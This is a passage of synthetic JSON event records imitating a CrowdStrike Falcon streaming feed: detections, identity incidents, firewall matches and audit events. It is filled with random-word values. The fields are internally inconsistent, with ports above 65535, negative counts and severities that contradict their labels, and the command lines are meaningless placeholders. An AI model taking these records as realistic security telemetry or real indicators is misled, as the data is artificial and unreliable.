1582830734,"AgentIdString": "whyyear"}} +{"metadata": {"customerIDString": "mybattery","offset": 646949587,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "hugeaircraft","IncidentDescription": "leap crib patrol life childhood caravan fire album congregation government board cello data couplebus","Severity": 87,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Putinistchest","UserName": "everybodyfather","EndpointName": "whichteam","EndpointIp": "217.37.208.88","Category": "Detections","NumbersOfAlerts": -1957530576,"NumberOfCompromisedEntities": 1981982712,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whatcongregation?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "Koreanscold","offset": 1802688676,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "theirhand","DataDomains": "Cloud","Description": "wisdom woman orange cleanmuster","DetectId": "itssheaf","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "12.139.167.121","HostNames": "browndynasty","Name": "Burmesegeneration","PatternId": 610471078,"Severity": 100,"SourceProducts": "itsboard","SourceVendors": "nonepublicity","StartTimeEpoch": 1643317697728000000,"TacticIds": "eachflock","Tactics": "gooddream","TechniqueIds": "a littleproblem","Techniques": "herhost","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "littlefact","offset": -1311502076,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "theiridea","IncidentDescription": "irritation hand mob week Taiwanesewealth","Severity": 58,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "fullcorner","UserName": "hispod","EndpointName": "everybodyfather","EndpointIp": "66.207.42.96","Category": "Detections","NumbersOfAlerts": 1444919827,"NumberOfCompromisedEntities": 1419946186,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everybodybundle?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "Intelligentdream","offset": -294987382,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "everyonegenerosity","UserID": "excitingposse","ExecutionID": "Turkmenbevy","ReportID": "Polishday","ReportName": "hugemurder","ReportType": "hurtbox","ReportFileReference": "mycatalog","Status": "Himalayananswer","StatusMessage": "howboat","ExecutionMetadata": {"ExecutionStart": 125781275,"ExecutionDuration": 1746585042,"ReportFileName": "sorewoman","ResultCount": 1298993366,"ResultID": "magnificentweek","SearchWindowStart": 1195611967,"SearchWindowEnd": -1416647402}}} +{"metadata": {"customerIDString": "hispyramid","offset": -1623127264,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "anycompany","UserIp": "121.140.140.29","OperationName": "revokeUserRoles","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "disgustingsmile","ValueString": "therecatalog"}],"Attributes": {"actor_cid": "herelove","actor_user": "thosebush","actor_user_uuid": "wheresmoke","app_id": "alltruck","saml_assertion": "anyonemurder","target_user": "Cambodianline","trace_id": "nonevision"}}} +{"metadata": {"customerIDString": "allbox","offset": -989631340,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "thatdynasty","DataDomains": "Cloud","Description": "leap mouth book number regiment stand hand warmth hisfactory","DetectId": "howgroup","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "143.41.121.16","HostNames": "manylife","Name": "herposse","PatternId": -634411481,"Severity": 34,"SourceProducts": "Gabonesemob","SourceVendors": "heavilyhost","StartTimeEpoch": 1643317697728000000,"TacticIds": "theirmuster","Tactics": "Greekbrother","TechniqueIds": "whichmovement","Techniques": "herexaltation","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "ourhost","offset": 1465205101,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "significantegg","UserIp": "206.10.189.0","OperationName": "twoFactorAuthenticate","ServiceName": "detections","AuditKeyValues": [{"Key": "myparty","ValueString": "theirarchipelago"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "anythingadvertising"}}} +{"metadata": {"customerIDString": "fineparty","offset": 943850327,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thatanimal","CustomerId": "ourgroup","Ipv": "78.151.91.127","CommandLine": "yourpart","ConnectionDirection": "0","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": true,"Monitor": true},"HostName": "Costa Ricanlife","ICMPCode": "Intelligentomen","ICMPType": "everythingnest","ImageFileName": "selfishfact","LocalAddress": "231.218.60.115","LocalPort": "89044","MatchCount": 446877245,"MatchCountSinceLastReport": -2043254590,"NetworkProfile": "somesister","PID": "-1529239543","PolicyName": "gentlebasket","PolicyID": "myfilm","Protocol": "fullscold","RemoteAddress": "159.20.51.154","RemotePort": "46914","RuleAction": "Machiavelliancaravan","RuleDescription": "hail poverty product loneliness accident crew luxuty somecoat","RuleFamilyID": "Portuguesecongregation","RuleGroupName": "Freudiangalaxy","RuleName": "theseline","RuleId": "hishorde","Status": "everythingright","Timestamp": 1751371830,"TreeID": "herriches"}} +{"metadata": {"customerIDString": "Spanishpasta","offset": -893484579,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "South Americancomputer","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\allbike","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Cloud","Description": "software horror health range toy divorce monkey pack way bevy piano child library person pencil plant luxury fact line river point whosebundle","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/eachparfume?_cid=xxxxxxx","FileName": "Atlantickitchen","FilePath": "manyhorde\\Atlantickitchen","FilesAccessed": [{"FileName": "Atlantickitchen","FilePath": "manyhorde\\Atlantickitchen","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Atlantickitchen","FilePath": "manyhorde\\Atlantickitchen","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\hownest","GrandParentImageFileName": "thatcrew","GrandParentImageFilePath": "mypower\\thatcrew","HostGroups": "wherepack","Hostname": "Cormoranfreedom","LocalIP": "26.204.128.213","LocalIPv6": "123.139.218.209","LogonDomain": "enthusiasticslavery","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "hissolitude","Name": "anythingchest","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1891697848,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "72.41.21.152","LocalPort": 12725,"Protocol": "blushinghost","RemoteAddress": "34.137.196.93","RemotePort": 63805}],"Objective": "heremoney","ParentCommandLine": "C:\\Windows\\enough ofbaby\\thislife","ParentImageFileName": "thislife","ParentImageFilePath": "hundredscackle\\thislife","ParentProcessId": 465916269,"PatternDispositionDescription": "murder farm bowl posse time pack cheese pod range group weekend galaxy posse Frenchgrandfather","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": false,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": true,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": 1517456504,"PatternId": 390838794,"PlatformId": "Putinistflock","PlatformName": "Linux","ProcessEndTime": -744832380,"ProcessId": -1241385214,"ProcessStartTime": 1826349955,"ReferrerUrl": "doubleday","SHA1String": "ourschool","SHA256String": "uptightyear","Severity": 74,"SeverityName": "Informational","SourceProducts": "jitterypasta","SourceVendors": "whichplane","Tactic": "whatcandy","Technique": "Indonesianchild","Type": "ldt","UserName": "ourhappiness"}} +{"metadata": {"customerIDString": "Bismarckianstring","offset": 1485071988,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "ourwit","UserID": "Koreanspeed","ExecutionID": "anyonecomb","ReportID": "thereclump","ReportName": "herstaff","ReportType": "howphone","ReportFileReference": "yourarrow","Status": "Guyaneseperson","StatusMessage": "herewisp","ExecutionMetadata": {"ExecutionStart": -744689264,"ExecutionDuration": -1246961732,"ReportFileName": "Danishcompany","ResultCount": -2085098264,"ResultID": "manysalt","SearchWindowStart": -1006835044,"SearchWindowEnd": 885943863}}} +{"metadata": {"customerIDString": "heavilymodel","offset": -309080009,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "someriver","IncidentDescription": "vehicle music comfort line party disregard pack thatdamage","Severity": 63,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Lilliputianforest","UserName": "thatschool","EndpointName": "Greekjoy","EndpointIp": "206.49.254.21","Category": "Detections","NumbersOfAlerts": 1923521815,"NumberOfCompromisedEntities": 1895439142,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/yourpain?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "thisdata","offset": 545701328,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "enchantedcourage","PolicyId": 492517383,"PolicyStatement": "South Americanhammer","CloudProvider": "wherenoun","CloudService": "theirpark","Severity": 15,"SeverityName": "High","EventAction": "toopack","EventSource": "emptywad","EventCreatedTimestamp": 1663011160,"UserId": "whichweek","UserName": "blackweek","UserSourceIp": "48.144.197.150","Tactic": "somecase","Technique": "Lebanesecase"}} +{"metadata": {"customerIDString": "angrynumber","offset": -489848778,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "itstribe","UserIp": "142.24.129.115","OperationName": "twoFactorAuthenticate","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whatschool","ValueString": "Gaussiancompany"}],"Attributes": {"actor_cid": "poisedscold","actor_user": "Peruvianhall","actor_user_uuid": "howscold","app_id": "theirimagination","saml_assertion": "whatteam","target_user": "itsmovement","trace_id": "howhealth"}}} +{"metadata": {"customerIDString": "Guyanesefan","offset": 277731204,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "defiantstand","UserIp": "98.49.13.100","OperationName": "updateUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "whosehead","ValueString": "Salvadoreanleap"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "splendidcongregation"}}} +{"metadata": {"customerIDString": "enough ofnumber","offset": 781713828,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 2014971318,"ProcessEndTime": -1424813573,"ProcessId": 641627741,"ParentProcessId": -2093466398,"ComputerName": "wholehost","UserName": "thisoutfit","DetectName": "itsbrilliance","DetectDescription": "unemployment year brilliance bunch case woman child jumper room chocolate week scold poverty band advantage board crowd river eithersand","Severity": 0,"SeverityName": "Medium","FileName": "hisdisregard","FilePath": "herecrew\\hisdisregard","CommandLine": "C:\\Windows\\Madagascanfriendship","SHA256String": "substantialspoon","MD5String": "whereflag","SHA1String": "ourowl","MachineDomain": "clumsyband","NetworkAccesses": [{"AccessType": -124367159,"AccessTimestamp": 1751371565,"Protocol": "scenicmob","LocalAddress": "52.61.70.71","LocalPort": 36507,"RemoteAddress": "170.126.247.116","RemotePort": 50106,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thesearrow?_cid=xxxxxxx","SensorId": "anyscissors","IOCType": "hash_md5","IOCValue": "itcorner","DetectId": "beautifuldetermination","LocalIP": "55.240.128.142","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "lightperson","Technique": "hercurrency","Objective": "uninterestedsedge","PatternDispositionDescription": "quality stand wit apartment longbrace","PatternDispositionValue": -460138786,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": true,"SensorOnly": false,"Rooting": true,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "everythingmonkey","ParentCommandLine": "neitherface","GrandparentImageFileName": "pricklinghorde","GrandparentCommandLine": "Belgianbunch","HostGroups": "theirheat","AssociatedFile": "whosepeace","PatternId": 480175611}} +{"metadata": {"customerIDString": "over therelove","offset": 1707718174,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "hundredsclass","UserIp": "29.6.21.146","OperationName": "createUser","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "everyonestupidity","ValueString": "substantialjustice"}],"Attributes": {"actor_cid": "herclass","actor_user": "theirthought","actor_user_uuid": "fewemployment","app_id": "Rooseveltiantribe","saml_assertion": "defiantschool","target_user": "nonephotographer","trace_id": "anycloud"}}} +{"metadata": {"customerIDString": "yourring","offset": 389228953,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "everythingmember","MobileDetectionId": 1329334806,"ComputerName": "Diabolicalperson","UserName": "finecloud","ContextTimeStamp": 1649061056,"DetectId": "hisbowl","DetectName": "enough ofroad","DetectDescription": "picture grandfather number field idea cloud horde team idea fuel gang anyonestaff","Tactic": "friendlybox","TacticId": "theirsink","Technique": "whatnewspaper","TechniqueId": "itcaravan","Objective": "yourlie","Severity": 18,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Madagascanfather?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "zealouspack","AndroidAppLabel": "nervousspeed","DexFileHashes": "howhappiness","ImageFileName": "tiredbrilliance","AppInstallerInformation": "eagersister","IsBeingDebugged": false,"AndroidAppVersionName": "substantialheap","IsContainerized": true}]}} +{"metadata": {"customerIDString": "Madagascandriver","offset": -156491846,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "theireye","Highlights": ["queermotherhood"],"MatchedTimestamp": 1686889114000,"RuleId": "theirwound","RuleName": "Confuciannose","RuleTopic": "Colombianpatrol","RulePriority": "itmob","ItemId": "howcrew","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "severalwall","offset": 1540072795,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "thesebevy","UserID": "significantteam","ExecutionID": "insufficientmanagement","ReportID": "oneantlers","ReportName": "fewhail","ReportType": "itsirritation","ReportFileReference": "whatlake","Status": "itspod","StatusMessage": "charmingregiment","ExecutionMetadata": {"ExecutionStart": 637627792,"ExecutionDuration": 1854835916,"ReportFileName": "allbouquet","ResultCount": -2060549350,"ResultID": "myfather","SearchWindowStart": -403925386,"SearchWindowEnd": -848128035}}} +{"metadata": {"customerIDString": "whereracism","offset": -1319618271,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "theseband","UserIp": "163.242.55.162","OperationName": "deleteUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "severalcrew","ValueString": "thereheat"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "severalcrowd"}}} +{"metadata": {"customerIDString": "thatpacket","offset": -637020247,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "theirclump","PolicyId": -2135732859,"PolicyStatement": "whichchild","CloudProvider": "therehail","CloudService": "whybowl","Severity": 86,"SeverityName": "Critical","EventAction": "couplework","EventSource": "Welshdresser","EventCreatedTimestamp": 1663011160,"UserId": "yourleap","UserName": "somebodycare","UserSourceIp": "19.117.240.184","Tactic": "thisdamage","Technique": "relievedpleasure"}} +{"metadata": {"customerIDString": "numerousarmy","offset": -338129624,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "myparty","IncidentDescription": "packet economics child economics gold choir cackle day posse rice muster pollution hail tea trend crowd muster case razor album cash Einsteinianarchipelago","Severity": 78,"SeverityName": "High","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "thereream","UserName": "nobodychest","EndpointName": "wherefire","EndpointIp": "17.198.246.183","Category": "Detections","NumbersOfAlerts": -264134745,"NumberOfCompromisedEntities": 920309085,"State": "DISMISS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hisalbum?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "itsadult","offset": -1927607874,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "howhand","UserID": "wherewad","ExecutionID": "Bahamiancleverness","ReportID": "Burmesewisp","ReportName": "itschoir","ReportType": "littleweek","ReportFileReference": "somecloud","Status": "plenty oftribe","StatusMessage": "over therebasket","ExecutionMetadata": {"ExecutionStart": 900858946,"ExecutionDuration": 1334923198,"ReportFileName": "whatspaghetti","ResultCount": 1571375116,"ResultID": "whywisdom","SearchWindowStart": -1206305095,"SearchWindowEnd": -1395374622}}} +{"metadata": {"customerIDString": "anymuster","offset": 175335442,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "wholechildhood","IncidentDescription": "mouse towel pyramid year motor regiment daughter bale battery sandals line inexpensivemurder","Severity": 38,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "itswelfare","UserName": "thereweek","EndpointName": "thattrip","EndpointIp": "173.136.247.123","Category": "Incidents","NumbersOfAlerts": -116047183,"NumberOfCompromisedEntities": 733697580,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whosefire?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "wherehousework","offset": 1680558861,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "tooparty","UserID": "thatarmy","ExecutionID": "Shakespeareanslavery","ReportID": "Einsteiniancoat","ReportName": "whichtime","ReportType": "yellownest","ReportFileReference": "fullgang","Status": "whosefact","StatusMessage": "thattroop","ExecutionMetadata": {"ExecutionStart": 1159831550,"ExecutionDuration": 1995957505,"ReportFileName": "thisbatch","ResultCount": -1490727767,"ResultID": "wherecrew","SearchWindowStart": -2091742616,"SearchWindowEnd": 1408069491}}} +{"metadata": {"customerIDString": "halfcalm","offset": -1427582267,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "thisjudge","PolicyId": 1096303979,"PolicyStatement": "over thereturtle","CloudProvider": "littleshoulder","CloudService": "thattroop","Severity": 79,"SeverityName": "Low","EventAction": "cleverparty","EventSource": "anybike","EventCreatedTimestamp": 1663011160,"UserId": "inexpensivebattery","UserName": "Darwinianarchitect","UserSourceIp": "119.98.56.233","Tactic": "thoserestaurant","Technique": "Taiwaneselabour"}} +{"metadata": {"customerIDString": "someholiday","offset": 1570491927,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "fewpotato","Highlights": ["Italianbed"],"MatchedTimestamp": 1686889114000,"RuleId": "Sri-Lankanproblem","RuleName": "therecousin","RuleTopic": "Danishjoy","RulePriority": "thoseartist","ItemId": "whosetroop","ItemType": "SCRAPPY","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "Einsteiniangrains","offset": -1732787801,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "Gabonesecompany","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\enthusiasticuncle","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Identity","Description": "staff scold childhood fun problem page toothbrush hismuster","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/busycorruption?_cid=xxxxxxx","FileName": "enough ofknowledge","FilePath": "fewweather\\enough ofknowledge","FilesAccessed": [{"FileName": "enough ofknowledge","FilePath": "fewweather\\enough ofknowledge","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "enough ofknowledge","FilePath": "fewweather\\enough ofknowledge","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\badwisp","GrandParentImageFileName": "wherecompany","GrandParentImageFilePath": "howchair\\wherecompany","HostGroups": "theirream","Hostname": "mynest","LocalIP": "147.20.149.138","LocalIPv6": "114.145.127.20","LogonDomain": "itsparty","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "mycatalog","Name": "insufficientelectricity","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1802210092,"ConnectionDirection": 0,"IsIPV6": false,"LocalAddress": "71.185.194.181","LocalPort": 59560,"Protocol": "everybodylaughter","RemoteAddress": "101.230.28.62","RemotePort": 76857}],"Objective": "thesesuccess","ParentCommandLine": "C:\\Windows\\mostcastle\\whosephone","ParentImageFileName": "whosephone","ParentImageFilePath": "charmingwoman\\whosephone","ParentProcessId": 1065827657,"PatternDispositionDescription": "collection woman horde mob severalmuster","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": true,"CriticalProcessDisabled": true,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": 1116723532,"PatternId": 757487647,"PlatformId": "someverb","PlatformName": "Linux","ProcessEndTime": 1507380857,"ProcessId": -1813423510,"ProcessStartTime": 475295942,"ReferrerUrl": "onejustice","SHA1String": "agreeablevillage","SHA256String": "thatcompany","Severity": 60,"SeverityName": "Informational","SourceProducts": "hergain","SourceVendors": "purpleexaltation","Tactic": "cheerfulassistance","Technique": "therejersey","Type": "ofp","UserName": "Cambodianshower"}} +{"metadata": {"customerIDString": "herelighter","offset": 810871818,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "somebodycomb","UserIp": "88.207.85.114","OperationName": "updateUserRoles","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "lightbatch","ValueString": "Romaniancase"}],"Attributes": {"actor_cid": "whichmob","actor_user": "whereappetite","actor_user_uuid": "mytroupe","app_id": "littleidea","saml_assertion": "Madagascanjustice","target_user": "hundredyouth","trace_id": "yourcaravan"}}} +{"metadata": {"customerIDString": "purpletomatoes","offset": -1854554253,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "whichadvantage","DetectName": "whydog","DetectDescription": "town group book catalog hedge bevy truth troop case way energy heremetal","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/badgroup?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 97,"SeverityName": "Medium","Tactic": "whattissue","Technique": "manyteam","Objective": "hiscompany","SourceAccountDomain": "somebodyjob","SourceAccountName": "howline","SourceAccountObjectSid": "Lilliputiandynasty","SourceEndpointAccountObjectGuid": "Britishproduct","SourceEndpointAccountObjectSid": "eachhand","SourceEndpointHostName": "whywashing machine","SourceEndpointIpAddress": "194.53.21.15","SourceEndpointSensorId": "cooperativewoman","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "Cypriotway","PatternId": -1731590592}} +{"metadata": {"customerIDString": "hispouch","offset": 1916163763,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "severalcompany","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\itsunion","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Identity","Description": "apartment harvest eye luxuty bale class muchchair","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hershower?_cid=xxxxxxx","FileName": "everythingpunctuation","FilePath": "anythingcleverness\\everythingpunctuation","FilesAccessed": [{"FileName": "everythingpunctuation","FilePath": "anythingcleverness\\everythingpunctuation","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "everythingpunctuation","FilePath": "anythingcleverness\\everythingpunctuation","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\shyelegance","GrandParentImageFileName": "somecaptain","GrandParentImageFilePath": "nobodyhorde\\somecaptain","HostGroups": "a lottroop","Hostname": "everyonebook","LocalIP": "129.90.65.50","LocalIPv6": "67.129.132.111","LogonDomain": "howluggage","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "myunderstanding","Name": "anyoneconfusion","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1715370835,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "47.242.121.249","LocalPort": 64766,"Protocol": "whygrowth","RemoteAddress": "218.221.4.175","RemotePort": 4899}],"Objective": "tamemustering","ParentCommandLine": "C:\\Windows\\nervousarmy\\Hinduostrich","ParentImageFileName": "Hinduostrich","ParentImageFilePath": "nobodycrew\\Hinduostrich","ParentProcessId": 496739043,"PatternDispositionDescription": "music crowd number block dynasty museum bowl coldness pair weight host company muster person husband cleverness hand island problem trip coffee time mygroup","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": false,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": true,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": 274275370,"PatternId": 1713484901,"PlatformId": "thatnature","PlatformName": "Windows","ProcessEndTime": -423582367,"ProcessId": 1362576839,"ProcessStartTime": -1243653454,"ReferrerUrl": "yourvilla","SHA1String": "improvisedrange","SHA256String": "Russiandream","Severity": 17,"SeverityName": "Low","SourceProducts": "hundredsstack","SourceVendors": "Einsteinianadvantage","Tactic": "severalboy","Technique": "Antarcticegg","Type": "ldt","UserName": "so fewshorts"}} +{"metadata": {"customerIDString": "glorioustelevision","offset": 1937096872,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "hercackle","CustomerId": "manybook","Ipv": "106.178.30.162","CommandLine": "over thereweight","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "itbrace","ICMPCode": "itarmy","ICMPType": "over theretown","ImageFileName": "Nepalesegrowth","LocalAddress": "157.226.200.52","LocalPort": "24178","MatchCount": -913847416,"MatchCountSinceLastReport": -1802071189,"NetworkProfile": "eachidea","PID": "-883383240","PolicyName": "doublecompany","PolicyID": "Bangladeshinumber","Protocol": "fulldisregard","RemoteAddress": "190.114.159.219","RemotePort": "85977","RuleAction": "theirgun","RuleDescription": "luxury market underwear leap union right canoe world party problem ream choir catalog effect bunch pack week stairs staff stand party importance Finnishbus","RuleFamilyID": "whichluck","RuleGroupName": "nobodyweek","RuleName": "somegroup","RuleId": "Britishmuster","Status": "fullviolence","Timestamp": 1751371830,"TreeID": "everybodymuster"}} +{"metadata": {"customerIDString": "manyfleet","offset": 1169938770,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "obedientphotographer","DetectName": "wherebus","DetectDescription": "cane board wood scissors ball envy host party class group ball pride piano caravan happiness gossip part whatorange","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/alllibrary?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 18,"SeverityName": "Low","Tactic": "whatmotherhood","Technique": "Senegalesetrip","Objective": "theretea","SourceAccountDomain": "Iraqitolerance","SourceAccountName": "cleanroom","SourceAccountObjectSid": "couplecompany","SourceEndpointAccountObjectGuid": "wherescold","SourceEndpointAccountObjectSid": "tooconditioner","SourceEndpointHostName": "somefact","SourceEndpointIpAddress": 